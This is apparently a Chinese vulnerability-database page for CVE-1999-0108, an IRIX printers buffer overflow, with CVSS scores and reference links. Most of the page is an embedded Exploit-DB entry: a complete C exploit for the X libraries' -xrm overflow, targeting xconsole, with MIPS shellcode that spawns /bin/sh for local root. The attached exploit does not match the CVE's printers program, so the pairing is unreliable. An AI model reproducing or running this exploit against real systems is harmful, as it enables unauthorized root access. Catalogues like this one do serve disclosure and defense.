CVE-1999-0108
CVSS7.2
发布时间 :1998-05-01 00:00:00
修订时间 :2008-09-09 08:33:45
NMCOE    

[原文]The printers program in IRIX has a buffer overflow that gives root access to local users.


[CNNVD]IRIX打印机程序权限许可和访问控制漏洞(CNNVD-199805-002)

        运行在IRIX上的打印机程序存在权限许可和访问控制漏洞。本地用户可以借助此漏洞访问根目录。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0108
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0108
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199805-002
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

IRIX打印机程序权限许可和访问控制漏洞
高危 缓冲区溢出
1998-05-01 00:00:00 2005-05-02 00:00:00
本地  
        运行在IRIX上的打印机程序存在权限许可和访问控制漏洞。本地用户可以借助此漏洞访问根目录。

- 公告与补丁

        

- 漏洞信息 (19267)

SGI IRIX <= 6.3 -xrm Buffer Overflow Vulnerability (EDBID:19267)
irix local
1997-05-27 Verified
0 David Hedley
N/A [点击下载]
source: http://www.securityfocus.com/bid/334/info

A vulnerability exists in the X libraries as supplied with Silicon Graphics IRIX operating system. By placing a carefully constructed buffer as the argument to the -xrm option, an attacker can execute arbitrary code. 

/* Exploit by David Hedley <hedley@cs.bris.ac.uk>
 * 27/5/97
 *
 * _very_ slighty modified by Patrick J..Paulus <pjp@stepahead.net>
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES 500
#define BUF_LENGTH 500
#define EXTRA 9000
#define OFFSET  0x180    /* 0x184 for Irix 6.x */
#define GP_OFFSET       -0x80
#define IRIX_NOP        0x03e0f825 /* move $ra,$ra */
#define PATH_PROG        "/usr/bin/X11/xconsole" /* path & program name */
#define PROG            "xconsole" /* program */

#define u_long unsigned

u_long get_sp_code[] = {
    0x03a01025, /* move $v0,$sp */
    0x03e00008, /* jr $ra */
    0x00000000, /* nop */ };

u_long irix_shellcode[] = {
    0x24041234, /* li $4,0x1234 */
    0x2084edcc, /* sub $4,0x1234 */
    0x0491fffe, /* bgezal $4,pc-4 */
    0x03bd302a, /* sgt $6,$sp,$sp */
    0x03bd202a, /* sgt $4,$sp,$sp */
    0x240203ff, /* li $v0,1023 */
    0x03ffffcc, /* syscall 0xfffff */
    0x23e40138, /* addi $4,$31,264+48 */
    0xa086feff, /* sb $6,-264+7($4)  */
    0x2084fef8, /* sub $4,264 */
    0x20850110, /* addi $5,$4,264+8 */
    0xaca4fef8, /* sw $4,-264($5)  */
    0xaca6fefc, /* sw $4,-260($5)  */
    0x20a5fef8, /* sub $5, 264 */
    0x240203f3, /* li $v0,1011 */
    0x03ffffcc, /* syscall 0xfffff */
    0x2f62696e, /* "/bin"  */
    0x2f7368ff, /* "/sh"  */ };

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)  {
    char *env[] = {NULL};
    u_long targ_addr, stack, tmp;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    if (stack & 0x80000000) {
        printf("Recompile with the '-32' option\n");
        exit(1);
    }

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
        targ_addr += atoi(argv[1]);


    tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

    while ((tmp & 0xff000000) == 0 ||
           (tmp & 0x00ff0000) == 0 ||
           (tmp & 0x0000ff00) == 0 ||
           (tmp & 0x000000ff) == 0)
        tmp += 4;

    for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
        *long_p++ = tmp;
        *long_p++ = tmp;
        *long_p++ = targ_addr;
        *long_p++ = targ_addr;
    }

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (tmp >> 8) | (tmp << 24);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env);
    perror("execl failed");
}
		

- 漏洞信息

8519
IRIX printers Command Line Argument Overflow
Local Access Required Input Manipulation
Loss of Integrity Workaround
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

1997-05-27 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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